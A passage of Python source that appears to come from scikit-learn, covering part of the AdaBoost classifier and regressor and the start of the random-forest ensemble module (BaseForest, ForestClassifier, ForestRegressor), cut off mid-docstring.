            The training input samples. Sparse matrix can be CSC, CSR, COO,
            DOK, or LIL. DOK and LIL are converted to CSR.

        Returns
        -------
        p : array of shape = [n_samples]
            The class probabilities of the input samples. The order of
            outputs is the same of that of the `classes_` attribute.
        """
        check_is_fitted(self, "n_classes_")

        n_classes = self.n_classes_
        X = self._validate_X_predict(X)

        if self.algorithm == 'SAMME.R':
            # The weights are all 1. for SAMME.R
            proba = sum(_samme_proba(estimator, n_classes, X)
                        for estimator in self.estimators_)
        else:   # self.algorithm == "SAMME"
            proba = sum(estimator.predict_proba(X) * w
                        for estimator, w in zip(self.estimators_,
                                                self.estimator_weights_))

        proba /= self.estimator_weights_.sum()
        proba = np.exp((1. / (n_classes - 1)) * proba)
        normalizer = proba.sum(axis=1)[:, np.newaxis]
        normalizer[normalizer == 0.0] = 1.0
        proba /= normalizer

        return proba

    def staged_predict_proba(self, X):
        """Predict class probabilities for X.

        The predicted class probabilities of an input sample is computed as
        the weighted mean predicted class probabilities of the classifiers
        in the ensemble.

        This generator method yields the ensemble predicted class probabilities
        after each iteration of boosting and therefore allows monitoring, such
        as to determine the predicted class probabilities on a test set after
        each boost.

        Parameters
        ----------
        X : {array-like, sparse matrix} of shape = [n_samples, n_features]
            The training input samples. Sparse matrix can be CSC, CSR, COO,
            DOK, or LIL. DOK and LIL are converted to CSR.

        Returns
        -------
        p : generator of array, shape = [n_samples]
            The class probabilities of the input samples. The order of
            outputs is the same of that of the `classes_` attribute.
        """
        X = self._validate_X_predict(X)

        n_classes = self.n_classes_
        proba = None
        norm = 0.

        for weight, estimator in zip(self.estimator_weights_,
                                     self.estimators_):
            norm += weight

            if self.algorithm == 'SAMME.R':
                # The weights are all 1. for SAMME.R
                current_proba = _samme_proba(estimator, n_classes, X)
            else:  # elif self.algorithm == "SAMME":
                current_proba = estimator.predict_proba(X) * weight

            if proba is None:
                proba = current_proba
            else:
                proba += current_proba

            real_proba = np.exp((1. / (n_classes - 1)) * (proba / norm))
            normalizer = real_proba.sum(axis=1)[:, np.newaxis]
            normalizer[normalizer == 0.0] = 1.0
            real_proba /= normalizer

            yield real_proba

    def predict_log_proba(self, X):
        """Predict class log-probabilities for X.

        The predicted class log-probabilities of an input sample is computed as
        the weighted mean predicted class log-probabilities of the classifiers
        in the ensemble.

        Parameters
        ----------
        X : {array-like, sparse matrix} of shape = [n_samples, n_features]
            The training input samples. Sparse matrix can be CSC, CSR, COO,
            DOK, or LIL. DOK and LIL are converted to CSR.

        Returns
        -------
        p : array of shape = [n_samples]
            The class probabilities of the input samples. The order of
            outputs is the same of that of the `classes_` attribute.
        """
        return np.log(self.predict_proba(X))


class AdaBoostRegressor(BaseWeightBoosting, RegressorMixin):
    """An AdaBoost regressor.

    An AdaBoost [1] regressor is a meta-estimator that begins by fitting a
    regressor on the original dataset and then fits additional copies of the
    regressor on the same dataset but where the weights of instances are
    adjusted according to the error of the current prediction. As such,
    subsequent regressors focus more on difficult cases.

    This class implements the algorithm known as AdaBoost.R2 [2].

    Read more in the :ref:`User Guide <adaboost>`.

    Parameters
    ----------
    base_estimator : object, optional (default=DecisionTreeRegressor)
        The base estimator from which the boosted ensemble is built.
        Support for sample weighting is required.

    n_estimators : integer, optional (default=50)
        The maximum number of estimators at which boosting is terminated.
        In case of perfect fit, the learning procedure is stopped early.

    learning_rate : float, optional (default=1.)
        Learning rate shrinks the contribution of each regressor by
        ``learning_rate``. There is a trade-off between ``learning_rate`` and
        ``n_estimators``.

    loss : {'linear', 'square', 'exponential'}, optional (default='linear')
        The loss function to use when updating the weights after each
        boosting iteration.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    Attributes
    ----------
    estimators_ : list of classifiers
        The collection of fitted sub-estimators.

    estimator_weights_ : array of floats
        Weights for each estimator in the boosted ensemble.

    estimator_errors_ : array of floats
        Regression error for each estimator in the boosted ensemble.

    feature_importances_ : array of shape = [n_features]
        The feature importances if supported by the ``base_estimator``.

    See also
    --------
    AdaBoostClassifier, GradientBoostingRegressor, DecisionTreeRegressor

    References
    ----------
    .. [1] Y. Freund, R. Schapire, "A Decision-Theoretic Generalization of
           on-Line Learning and an Application to Boosting", 1995.

    .. [2] H. Drucker, "Improving Regressors using Boosting Techniques", 1997.

    """
    def __init__(self,
                 base_estimator=None,
                 n_estimators=50,
                 learning_rate=1.,
                 loss='linear',
                 random_state=None):

        super(AdaBoostRegressor, self).__init__(
            base_estimator=base_estimator,
            n_estimators=n_estimators,
            learning_rate=learning_rate,
            random_state=random_state)

        self.loss = loss
        self.random_state = random_state

    def fit(self, X, y, sample_weight=None):
        """Build a boosted regressor from the training set (X, y).

        Parameters
        ----------
        X : {array-like, sparse matrix} of shape = [n_samples, n_features]
            The training input samples. Sparse matrix can be CSC, CSR, COO,
            DOK, or LIL. DOK and LIL are converted to CSR.

        y : array-like of shape = [n_samples]
            The target values (real numbers).

        sample_weight : array-like of shape = [n_samples], optional
            Sample weights. If None, the sample weights are initialized to
            1 / n_samples.

        Returns
        -------
        self : object
            Returns self.
        """
        # Check loss
        if self.loss not in ('linear', 'square', 'exponential'):
            raise ValueError(
                "loss must be 'linear', 'square', or 'exponential'")

        # Fit
        return super(AdaBoostRegressor, self).fit(X, y, sample_weight)

    def _validate_estimator(self):
        """Check the estimator and set the base_estimator_ attribute."""
        super(AdaBoostRegressor, self)._validate_estimator(
            default=DecisionTreeRegressor(max_depth=3))

    def _boost(self, iboost, X, y, sample_weight):
        """Implement a single boost for regression

        Perform a single boost according to the AdaBoost.R2 algorithm and
        return the updated sample weights.

        Parameters
        ----------
        iboost : int
            The index of the current boost iteration.

        X : {array-like, sparse matrix} of shape = [n_samples, n_features]
            The training input samples. Sparse matrix can be CSC, CSR, COO,
            DOK, or LIL. DOK and LIL are converted to CSR.

        y : array-like of shape = [n_samples]
            The target values (class labels in classification, real numbers in
            regression).

        sample_weight : array-like of shape = [n_samples]
            The current sample weights.

        Returns
        -------
        sample_weight : array-like of shape = [n_samples] or None
            The reweighted sample weights.
            If None then boosting has terminated early.

        estimator_weight : float
            The weight for the current boost.
            If None then boosting has terminated early.

        estimator_error : float
            The regression error for the current boost.
            If None then boosting has terminated early.
        """
        estimator = self._make_estimator()

        try:
            estimator.set_params(random_state=self.random_state)
        except ValueError:
            pass

        generator = check_random_state(self.random_state)

        # Weighted sampling of the training set with replacement
        # For NumPy >= 1.7.0 use np.random.choice
        cdf = sample_weight.cumsum()
        cdf /= cdf[-1]
        uniform_samples = generator.random_sample(X.shape[0])
        bootstrap_idx = cdf.searchsorted(uniform_samples, side='right')
        # searchsorted returns a scalar
        bootstrap_idx = np.array(bootstrap_idx, copy=False)

        # Fit on the bootstrapped sample and obtain a prediction
        # for all samples in the training set
        estimator.fit(X[bootstrap_idx], y[bootstrap_idx])
        y_predict = estimator.predict(X)

        error_vect = np.abs(y_predict - y)
        error_max = error_vect.max()

        if error_max != 0.:
            error_vect /= error_max

        if self.loss == 'square':
            error_vect **= 2
        elif self.loss == 'exponential':
            error_vect = 1. - np.exp(- error_vect)

        # Calculate the average loss
        estimator_error = (sample_weight * error_vect).sum()

        if estimator_error <= 0:
            # Stop if fit is perfect
            return sample_weight, 1., 0.

        elif estimator_error >= 0.5:
            # Discard current estimator only if it isn't the only one
            if len(self.estimators_) > 1:
                self.estimators_.pop(-1)
            return None, None, None

        beta = estimator_error / (1. - estimator_error)

        # Boost weight using AdaBoost.R2 alg
        estimator_weight = self.learning_rate * np.log(1. / beta)

        if not iboost == self.n_estimators - 1:
            sample_weight *= np.power(
                beta,
                (1. - error_vect) * self.learning_rate)

        return sample_weight, estimator_weight, estimator_error

    def _get_median_predict(self, X, limit):
        # Evaluate predictions of all estimators
        predictions = np.array([
            est.predict(X) for est in self.estimators_[:limit]]).T

        # Sort the predictions
        sorted_idx = np.argsort(predictions, axis=1)

        # Find index of median prediction for each sample
        weight_cdf = self.estimator_weights_[sorted_idx].cumsum(axis=1)
        median_or_above = weight_cdf >= 0.5 * weight_cdf[:, -1][:, np.newaxis]
        median_idx = median_or_above.argmax(axis=1)

        median_estimators = sorted_idx[np.arange(X.shape[0]), median_idx]

        # Return median predictions
        return predictions[np.arange(X.shape[0]), median_estimators]

    def predict(self, X):
        """Predict regression value for X.

        The predicted regression value of an input sample is computed
        as the weighted median prediction of the classifiers in the ensemble.

        Parameters
        ----------
        X : {array-like, sparse matrix} of shape = [n_samples, n_features]
            The training input samples. Sparse matrix can be CSC, CSR, COO,
            DOK, or LIL. DOK and LIL are converted to CSR.

        Returns
        -------
        y : array of shape = [n_samples]
            The predicted regression values.
        """
        check_is_fitted(self, "estimator_weights_")
        X = self._validate_X_predict(X)

        return self._get_median_predict(X, len(self.estimators_))

    def staged_predict(self, X):
        """Return staged predictions for X.

        The predicted regression value of an input sample is computed
        as the weighted median prediction of the classifiers in the ensemble.

        This generator method yields the ensemble prediction after each
        iteration of boosting and therefore allows monitoring, such as to
        determine the prediction on a test set after each boost.

        Parameters
        ----------
        X : {array-like, sparse matrix} of shape = [n_samples, n_features]
            The training input samples. Sparse matrix can be CSC, CSR, COO,
            DOK, or LIL. DOK and LIL are converted to CSR.

        Returns
        -------
        y : generator of array, shape = [n_samples]
            The predicted regression values.
        """
        check_is_fitted(self, "estimator_weights_")
        X = self._validate_X_predict(X)

        for i, _ in enumerate(self.estimators_, 1):
            yield self._get_median_predict(X, limit=i)






"""Forest of trees-based ensemble methods

Those methods include random forests and extremely randomized trees.

The module structure is the following:

- The ``BaseForest`` base class implements a common ``fit`` method for all
  the estimators in the module. The ``fit`` method of the base ``Forest``
  class calls the ``fit`` method of each sub-estimator on random samples
  (with replacement, a.k.a. bootstrap) of the training set.

  The init of the sub-estimator is further delegated to the
  ``BaseEnsemble`` constructor.

- The ``ForestClassifier`` and ``ForestRegressor`` base classes further
  implement the prediction logic by computing an average of the predicted
  outcomes of the sub-estimators.

- The ``RandomForestClassifier`` and ``RandomForestRegressor`` derived
  classes provide the user with concrete implementations of
  the forest ensemble method using classical, deterministic
  ``DecisionTreeClassifier`` and ``DecisionTreeRegressor`` as
  sub-estimator implementations.

- The ``ExtraTreesClassifier`` and ``ExtraTreesRegressor`` derived
  classes provide the user with concrete implementations of the
  forest ensemble method using the extremely randomized trees
  ``ExtraTreeClassifier`` and ``ExtraTreeRegressor`` as
  sub-estimator implementations.

Single and multi-output problems are both handled.

"""

# Authors: Gilles Louppe <g.louppe@gmail.com>
#          Brian Holt <bdholt1@gmail.com>
#          Joly Arnaud <arnaud.v.joly@gmail.com>
#          Fares Hedayati <fares.hedayati@gmail.com>
#
# License: BSD 3 clause

from __future__ import division

import warnings
from warnings import warn

from abc import ABCMeta, abstractmethod
import numpy as np
from scipy.sparse import issparse
from scipy.sparse import hstack as sparse_hstack


from ..base import ClassifierMixin, RegressorMixin
from ..externals.joblib import Parallel, delayed
from ..externals import six
from ..feature_selection.from_model import _LearntSelectorMixin
from ..metrics import r2_score
from ..preprocessing import OneHotEncoder
from ..tree import (DecisionTreeClassifier, DecisionTreeRegressor,
                    ExtraTreeClassifier, ExtraTreeRegressor)
from ..tree._tree import DTYPE, DOUBLE
from ..utils import check_random_state, check_array, compute_sample_weight
from ..exceptions import DataConversionWarning, NotFittedError
from .base import BaseEnsemble, _partition_estimators
from ..utils.fixes import bincount, parallel_helper
from ..utils.multiclass import check_classification_targets

__all__ = ["RandomForestClassifier",
           "RandomForestRegressor",
           "ExtraTreesClassifier",
           "ExtraTreesRegressor",
           "RandomTreesEmbedding"]

MAX_INT = np.iinfo(np.int32).max

def _generate_sample_indices(random_state, n_samples):
    """Private function used to _parallel_build_trees function."""
    random_instance = check_random_state(random_state)
    sample_indices = random_instance.randint(0, n_samples, n_samples)

    return sample_indices

def _generate_unsampled_indices(random_state, n_samples):
    """Private function used to forest._set_oob_score function."""
    sample_indices = _generate_sample_indices(random_state, n_samples)
    sample_counts = bincount(sample_indices, minlength=n_samples)
    unsampled_mask = sample_counts == 0
    indices_range = np.arange(n_samples)
    unsampled_indices = indices_range[unsampled_mask]

    return unsampled_indices

def _parallel_build_trees(tree, forest, X, y, sample_weight, tree_idx, n_trees,
                          verbose=0, class_weight=None):
    """Private function used to fit a single tree in parallel."""
    if verbose > 1:
        print("building tree %d of %d" % (tree_idx + 1, n_trees))

    if forest.bootstrap:
        n_samples = X.shape[0]
        if sample_weight is None:
            curr_sample_weight = np.ones((n_samples,), dtype=np.float64)
        else:
            curr_sample_weight = sample_weight.copy()

        indices = _generate_sample_indices(tree.random_state, n_samples)
        sample_counts = bincount(indices, minlength=n_samples)
        curr_sample_weight *= sample_counts

        if class_weight == 'subsample':
            with warnings.catch_warnings():
                warnings.simplefilter('ignore', DeprecationWarning)
                curr_sample_weight *= compute_sample_weight('auto', y, indices)
        elif class_weight == 'balanced_subsample':
            curr_sample_weight *= compute_sample_weight('balanced', y, indices)

        tree.fit(X, y, sample_weight=curr_sample_weight, check_input=False)
    else:
        tree.fit(X, y, sample_weight=sample_weight, check_input=False)

    return tree


class BaseForest(six.with_metaclass(ABCMeta, BaseEnsemble,
                                    _LearntSelectorMixin)):
    """Base class for forests of trees.

    Warning: This class should not be used directly. Use derived classes
    instead.
    """

    @abstractmethod
    def __init__(self,
                 base_estimator,
                 n_estimators=10,
                 estimator_params=tuple(),
                 bootstrap=False,
                 oob_score=False,
                 n_jobs=1,
                 random_state=None,
                 verbose=0,
                 warm_start=False,
                 class_weight=None):
        super(BaseForest, self).__init__(
            base_estimator=base_estimator,
            n_estimators=n_estimators,
            estimator_params=estimator_params)

        self.bootstrap = bootstrap
        self.oob_score = oob_score
        self.n_jobs = n_jobs
        self.random_state = random_state
        self.verbose = verbose
        self.warm_start = warm_start
        self.class_weight = class_weight

    def apply(self, X):
        """Apply trees in the forest to X, return leaf indices.

        Parameters
        ----------
        X : array-like or sparse matrix, shape = [n_samples, n_features]
            The input samples. Internally, it will be converted to
            ``dtype=np.float32`` and if a sparse matrix is provided
            to a sparse ``csr_matrix``.

        Returns
        -------
        X_leaves : array_like, shape = [n_samples, n_estimators]
            For each datapoint x in X and for each tree in the forest,
            return the index of the leaf x ends up in.
        """
        X = self._validate_X_predict(X)
        results = Parallel(n_jobs=self.n_jobs, verbose=self.verbose,
                           backend="threading")(
            delayed(parallel_helper)(tree, 'apply', X, check_input=False)
            for tree in self.estimators_)

        return np.array(results).T

    def decision_path(self, X):
        """Return the decision path in the forest

        Parameters
        ----------
        X : array-like or sparse matrix, shape = [n_samples, n_features]
            The input samples. Internally, it will be converted to
            ``dtype=np.float32`` and if a sparse matrix is provided
            to a sparse ``csr_matrix``.

        Returns
        -------
        indicator : sparse csr array, shape = [n_samples, n_nodes]
            Return a node indicator matrix where non zero elements
            indicates that the samples goes through the nodes.

        n_nodes_ptr : array of size (n_estimators + 1, )
            The columns from indicator[n_nodes_ptr[i]:n_nodes_ptr[i+1]]
            gives the indicator value for the i-th estimator.
        """
        X = self._validate_X_predict(X)
        indicators = Parallel(n_jobs=self.n_jobs, verbose=self.verbose,
                              backend="threading")(
            delayed(parallel_helper)(tree, 'decision_path', X,
                                      check_input=False)
            for tree in self.estimators_)

        n_nodes = [0]
        n_nodes.extend([i.shape[1] for i in indicators])
        n_nodes_ptr = np.array(n_nodes).cumsum()

        return sparse_hstack(indicators).tocsr(), n_nodes_ptr

    def fit(self, X, y, sample_weight=None):
        """Build a forest of trees from the training set (X, y).

        Parameters
        ----------
        X : array-like or sparse matrix of shape = [n_samples, n_features]
            The training input samples. Internally, it will be converted to
            ``dtype=np.float32`` and if a sparse matrix is provided
            to a sparse ``csc_matrix``.

        y : array-like, shape = [n_samples] or [n_samples, n_outputs]
            The target values (class labels in classification, real numbers in
            regression).

        sample_weight : array-like, shape = [n_samples] or None
            Sample weights. If None, then samples are equally weighted. Splits
            that would create child nodes with net zero or negative weight are
            ignored while searching for a split in each node. In the case of
            classification, splits are also ignored if they would result in any
            single class carrying a negative weight in either child node.

        Returns
        -------
        self : object
            Returns self.
        """
        # Validate or convert input data
        X = check_array(X, accept_sparse="csc", dtype=DTYPE)
        y = check_array(y, accept_sparse='csc', ensure_2d=False, dtype=None)
        if issparse(X):
            # Pre-sort indices to avoid that each individual tree of the
            # ensemble sorts the indices.
            X.sort_indices()

        # Remap output
        n_samples, self.n_features_ = X.shape

        y = np.atleast_1d(y)
        if y.ndim == 2 and y.shape[1] == 1:
            warn("A column-vector y was passed when a 1d array was"
                 " expected. Please change the shape of y to "
                 "(n_samples,), for example using ravel().",
                 DataConversionWarning, stacklevel=2)

        if y.ndim == 1:
            # reshape is necessary to preserve the data contiguity against vs
            # [:, np.newaxis] that does not.
            y = np.reshape(y, (-1, 1))

        self.n_outputs_ = y.shape[1]

        y, expanded_class_weight = self._validate_y_class_weight(y)

        if getattr(y, "dtype", None) != DOUBLE or not y.flags.contiguous:
            y = np.ascontiguousarray(y, dtype=DOUBLE)

        if expanded_class_weight is not None:
            if sample_weight is not None:
                sample_weight = sample_weight * expanded_class_weight
            else:
                sample_weight = expanded_class_weight

        # Check parameters
        self._validate_estimator()

        if not self.bootstrap and self.oob_score:
            raise ValueError("Out of bag estimation only available"
                             " if bootstrap=True")

        random_state = check_random_state(self.random_state)

        if not self.warm_start:
            # Free allocated memory, if any
            self.estimators_ = []

        n_more_estimators = self.n_estimators - len(self.estimators_)

        if n_more_estimators < 0:
            raise ValueError('n_estimators=%d must be larger or equal to '
                             'len(estimators_)=%d when warm_start==True'
                             % (self.n_estimators, len(self.estimators_)))

        elif n_more_estimators == 0:
            warn("Warm-start fitting without increasing n_estimators does not "
                 "fit new trees.")
        else:
            if self.warm_start and len(self.estimators_) > 0:
                # We draw from the random state to get the random state we
                # would have got if we hadn't used a warm_start.
                random_state.randint(MAX_INT, size=len(self.estimators_))

            trees = []
            for i in range(n_more_estimators):
                tree = self._make_estimator(append=False)
                tree.set_params(random_state=random_state.randint(MAX_INT))
                trees.append(tree)

            # Parallel loop: we use the threading backend as the Cython code
            # for fitting the trees is internally releasing the Python GIL
            # making threading always more efficient than multiprocessing in
            # that case.
            trees = Parallel(n_jobs=self.n_jobs, verbose=self.verbose,
                             backend="threading")(
                delayed(_parallel_build_trees)(
                    t, self, X, y, sample_weight, i, len(trees),
                    verbose=self.verbose, class_weight=self.class_weight)
                for i, t in enumerate(trees))

            # Collect newly grown trees
            self.estimators_.extend(trees)

        if self.oob_score:
            self._set_oob_score(X, y)

        # Decapsulate classes_ attributes
        if hasattr(self, "classes_") and self.n_outputs_ == 1:
            self.n_classes_ = self.n_classes_[0]
            self.classes_ = self.classes_[0]

        return self

    @abstractmethod
    def _set_oob_score(self, X, y):
        """Calculate out of bag predictions and score."""

    def _validate_y_class_weight(self, y):
        # Default implementation
        return y, None

    def _validate_X_predict(self, X):
        """Validate X whenever one tries to predict, apply, predict_proba"""
        if self.estimators_ is None or len(self.estimators_) == 0:
            raise NotFittedError("Estimator not fitted, "
                                 "call `fit` before exploiting the model.")

        return self.estimators_[0]._validate_X_predict(X, check_input=True)

    @property
    def feature_importances_(self):
        """Return the feature importances (the higher, the more important the
           feature).

        Returns
        -------
        feature_importances_ : array, shape = [n_features]
        """
        if self.estimators_ is None or len(self.estimators_) == 0:
            raise NotFittedError("Estimator not fitted, "
                                 "call `fit` before `feature_importances_`.")

        all_importances = Parallel(n_jobs=self.n_jobs,
                                   backend="threading")(
            delayed(getattr)(tree, 'feature_importances_')
            for tree in self.estimators_)

        return sum(all_importances) / len(self.estimators_)


class ForestClassifier(six.with_metaclass(ABCMeta, BaseForest,
                                          ClassifierMixin)):
    """Base class for forest of trees-based classifiers.

    Warning: This class should not be used directly. Use derived classes
    instead.
    """

    @abstractmethod
    def __init__(self,
                 base_estimator,
                 n_estimators=10,
                 estimator_params=tuple(),
                 bootstrap=False,
                 oob_score=False,
                 n_jobs=1,
                 random_state=None,
                 verbose=0,
                 warm_start=False,
                 class_weight=None):

        super(ForestClassifier, self).__init__(
            base_estimator,
            n_estimators=n_estimators,
            estimator_params=estimator_params,
            bootstrap=bootstrap,
            oob_score=oob_score,
            n_jobs=n_jobs,
            random_state=random_state,
            verbose=verbose,
            warm_start=warm_start,
            class_weight=class_weight)

    def _set_oob_score(self, X, y):
        """Compute out-of-bag score"""
        X = check_array(X, dtype=DTYPE, accept_sparse='csr')

        n_classes_ = self.n_classes_
        n_samples = y.shape[0]

        oob_decision_function = []
        oob_score = 0.0
        predictions = []

        for k in range(self.n_outputs_):
            predictions.append(np.zeros((n_samples, n_classes_[k])))

        for estimator in self.estimators_:
            unsampled_indices = _generate_unsampled_indices(
                estimator.random_state, n_samples)
            p_estimator = estimator.predict_proba(X[unsampled_indices, :],
                                                  check_input=False)

            if self.n_outputs_ == 1:
                p_estimator = [p_estimator]

            for k in range(self.n_outputs_):
                predictions[k][unsampled_indices, :] += p_estimator[k]

        for k in range(self.n_outputs_):
            if (predictions[k].sum(axis=1) == 0).any():
                warn("Some inputs do not have OOB scores. "
                     "This probably means too few trees were used "
                     "to compute any reliable oob estimates.")

            decision = (predictions[k] /
                        predictions[k].sum(axis=1)[:, np.newaxis])
            oob_decision_function.append(decision)
            oob_score += np.mean(y[:, k] ==
                                 np.argmax(predictions[k], axis=1), axis=0)

        if self.n_outputs_ == 1:
            self.oob_decision_function_ = oob_decision_function[0]
        else:
            self.oob_decision_function_ = oob_decision_function

        self.oob_score_ = oob_score / self.n_outputs_

    def _validate_y_class_weight(self, y):
        check_classification_targets(y)

        y = np.copy(y)
        expanded_class_weight = None

        if self.class_weight is not None:
            y_original = np.copy(y)

        self.classes_ = []
        self.n_classes_ = []

        y_store_unique_indices = np.zeros(y.shape, dtype=np.int)
        for k in range(self.n_outputs_):
            classes_k, y_store_unique_indices[:, k] = np.unique(y[:, k], return_inverse=True)
            self.classes_.append(classes_k)
            self.n_classes_.append(classes_k.shape[0])
        y = y_store_unique_indices

        if self.class_weight is not None:
            valid_presets = ('auto', 'balanced', 'subsample', 'balanced_subsample')
            if isinstance(self.class_weight, six.string_types):
                if self.class_weight not in valid_presets:
                    raise ValueError('Valid presets for class_weight include '
                                     '"balanced" and "balanced_subsample". Given "%s".'
                                     % self.class_weight)
                if self.class_weight == "subsample":
                    warn("class_weight='subsample' is deprecated in 0.17 and"
                         "will be removed in 0.19. It was replaced by "
                         "class_weight='balanced_subsample' using the balanced"
                         "strategy.", DeprecationWarning)
                if self.warm_start:
                    warn('class_weight presets "balanced" or "balanced_subsample" are '
                         'not recommended for warm_start if the fitted data '
                         'differs from the full dataset. In order to use '
                         '"balanced" weights, use compute_class_weight("balanced", '
                         'classes, y). In place of y you can use a large '
                         'enough sample of the full training set target to '
                         'properly estimate the class frequency '
                         'distributions. Pass the resulting weights as the '
                         'class_weight parameter.')

            if (self.class_weight not in ['subsample', 'balanced_subsample'] or
                    not self.bootstrap):
                if self.class_weight == 'subsample':
                    class_weight = 'auto'
                elif self.class_weight == "balanced_subsample":
                    class_weight = "balanced"
                else:
                    class_weight = self.class_weight
                with warnings.catch_warnings():
                    if class_weight == "auto":
                        warnings.simplefilter('ignore', DeprecationWarning)
                    expanded_class_weight = compute_sample_weight(class_weight,
                                                                  y_original)

        return y, expanded_class_weight

    def predict(self, X):
        """Predict class for X.

        The predicted class of an input sample is a vote by the trees in
        the forest, weighted by their probability estimates. That is,
        the predicted class is the one with highest mean probability
        estimate across the trees.

        Parameters
        ----------
        X : array-like or sparse matrix of shape = [n_samples, n_features]
            The input samples. Internally, it will be converted to
            ``dtype=np.float32`` and if a sparse matrix is provided
            to a sparse ``csr_matrix``.

        Returns
        -------
        y : array of shape = [n_samples] or [n_samples, n_outputs]
            The predicted classes.
        """
        proba = self.predict_proba(X)

        if self.n_outputs_ == 1:
            return self.classes_.take(np.argmax(proba, axis=1), axis=0)

        else:
            n_samples = proba[0].shape[0]
            predictions = np.zeros((n_samples, self.n_outputs_))

            for k in range(self.n_outputs_):
                predictions[:, k] = self.classes_[k].take(np.argmax(proba[k],
                                                                    axis=1),
                                                          axis=0)

            return predictions

    def predict_proba(self, X):
        """Predict class probabilities for X.

        The predicted class probabilities of an input sample are computed as
        the mean predicted class probabilities of the trees in the forest. The
        class probability of a single tree is the fraction of samples of the same
        class in a leaf.

        Parameters
        ----------
        X : array-like or sparse matrix of shape = [n_samples, n_features]
            The input samples. Internally, it will be converted to
            ``dtype=np.float32`` and if a sparse matrix is provided
            to a sparse ``csr_matrix``.

        Returns
        -------
        p : array of shape = [n_samples, n_classes], or a list of n_outputs
            such arrays if n_outputs > 1.
            The class probabilities of the input samples. The order of the
            classes corresponds to that in the attribute `classes_`.
        """
        # Check data
        X = self._validate_X_predict(X)

        # Assign chunk of trees to jobs
        n_jobs, _, _ = _partition_estimators(self.n_estimators, self.n_jobs)

        # Parallel loop
        all_proba = Parallel(n_jobs=n_jobs, verbose=self.verbose,
                             backend="threading")(
            delayed(parallel_helper)(e, 'predict_proba', X,
                                      check_input=False)
            for e in self.estimators_)

        # Reduce
        proba = all_proba[0]

        if self.n_outputs_ == 1:
            for j in range(1, len(all_proba)):
                proba += all_proba[j]

            proba /= len(self.estimators_)

        else:
            for j in range(1, len(all_proba)):
                for k in range(self.n_outputs_):
                    proba[k] += all_proba[j][k]

            for k in range(self.n_outputs_):
                proba[k] /= self.n_estimators

        return proba

    def predict_log_proba(self, X):
        """Predict class log-probabilities for X.

        The predicted class log-probabilities of an input sample is computed as
        the log of the mean predicted class probabilities of the trees in the
        forest.

        Parameters
        ----------
        X : array-like or sparse matrix of shape = [n_samples, n_features]
            The input samples. Internally, it will be converted to
            ``dtype=np.float32`` and if a sparse matrix is provided
            to a sparse ``csr_matrix``.

        Returns
        -------
        p : array of shape = [n_samples, n_classes], or a list of n_outputs
            such arrays if n_outputs > 1.
            The class probabilities of the input samples. The order of the
            classes corresponds to that in the attribute `classes_`.
        """
        proba = self.predict_proba(X)

        if self.n_outputs_ == 1:
            return np.log(proba)

        else:
            for k in range(self.n_outputs_):
                proba[k] = np.log(proba[k])

            return proba


class ForestRegressor(six.with_metaclass(ABCMeta, BaseForest, RegressorMixin)):
    """Base class for forest of trees-based regressors.

    Warning: This class should not be used directly. Use derived classes
    instead.
    """

    @abstractmethod
    def __init__(self,
                 base_estimator,
                 n_estimators=10,
                 estimator_params=tuple(),
                 bootstrap=False,
                 oob_score=False,
                 n_jobs=1,
                 random_state=None,
                 verbose=0,
                 warm_start=False):
        super(ForestRegressor, self).__init__(
            base_estimator,
            n_estimators=n_estimators,
            estimator_params=estimator_params,
            bootstrap=bootstrap,
            oob_score=oob_score,
            n_jobs=n_jobs,
            random_state=random_state,
            verbose=verbose,
            warm_start=warm_start)

    def predict(self, X):
        """Predict regression target for X.

        The predicted regression target of an input sample is computed as the
        mean predicted regression targets of the trees in the forest.

        Parameters
        ----------
        X : array-like or sparse matrix of shape = [n_samples, n_features]
            The input samples. Internally, it will be converted to
            ``dtype=np.float32`` and if a sparse matrix is provided
            to a sparse ``csr_matrix``.

        Returns
        -------
        y : array of shape = [n_samples] or [n_samples, n_outputs]
            The predicted values.
        """
        # Check data
        X = self._validate_X_predict(X)

        # Assign chunk of trees to jobs
        n_jobs, _, _ = _partition_estimators(self.n_estimators, self.n_jobs)

        # Parallel loop
        all_y_hat = Parallel(n_jobs=n_jobs, verbose=self.verbose,
                             backend="threading")(
            delayed(parallel_helper)(e, 'predict', X, check_input=False)
            for e in self.estimators_)

        # Reduce
        y_hat = sum(all_y_hat) / len(self.estimators_)

        return y_hat

    def _set_oob_score(self, X, y):
        """Compute out-of-bag scores"""
        X = check_array(X, dtype=DTYPE, accept_sparse='csr')

        n_samples = y.shape[0]

        predictions = np.zeros((n_samples, self.n_outputs_))
        n_predictions = np.zeros((n_samples, self.n_outputs_))

        for estimator in self.estimators_:
            unsampled_indices = _generate_unsampled_indices(
                estimator.random_state, n_samples)
            p_estimator = estimator.predict(
                X[unsampled_indices, :], check_input=False)

            if self.n_outputs_ == 1:
                p_estimator = p_estimator[:, np.newaxis]

            predictions[unsampled_indices, :] += p_estimator
            n_predictions[unsampled_indices, :] += 1

        if (n_predictions == 0).any():
            warn("Some inputs do not have OOB scores. "
                 "This probably means too few trees were used "
                 "to compute any reliable oob estimates.")
            n_predictions[n_predictions == 0] = 1

        predictions /= n_predictions
        self.oob_prediction_ = predictions

        if self.n_outputs_ == 1:
            self.oob_prediction_ = \
                self.oob_prediction_.reshape((n_samples, ))

        self.oob_score_ = 0.0

        for k in range(self.n_outputs_):
            self.oob_score_ += r2_score(y[:, k],
                                        predictions[:, k])

        self.oob_score_ /= self.n_outputs_


class RandomForestClassifier(ForestClassifier):
    """A random forest classifier.

    A random forest is a meta estimator that fits a number of decision tree
    classifiers on various sub-samples of the dataset and use averaging to
    improve the predictive accuracy and control over-fitting.
    The sub-sample size is always the same as the original
    input sample size but the samples are drawn with replacement if
    `bootstrap=True` (default).

    Read more in the :ref:`User Guide <forest>`.

    Parameters
    ----------
    n_estimators : integer, optional (default=10)
        The number of trees in the forest.

    criterion : string, optional (default="gini")
        The function to measure the quality of a split. Supported criteria are
        "gini" for the Gini impurity and "entropy" for the information gain.
        Note: this parameter is tree-specific.

    max_features : int, float, string or None, optional (default="auto")
        The number of features to consider when looking for the best split:

        - If int, then consider `max_features` features at each split.
        - If float, then `max_features` is a percentage and
          `int(max_features * n_features)` features are considered at each
          split.
        - If "auto", then `max_features=sqrt(n_features)`.
        - If "sqrt", then `max_features=sqrt(n_features)` (same as "auto").
        - If "log2", then `max_features=log2(n_features)`.
        - If None, then `max_features=n_features`.

        Note: the search for a split does not stop until at least one
        valid partition of the node samples is found, even if it requires to
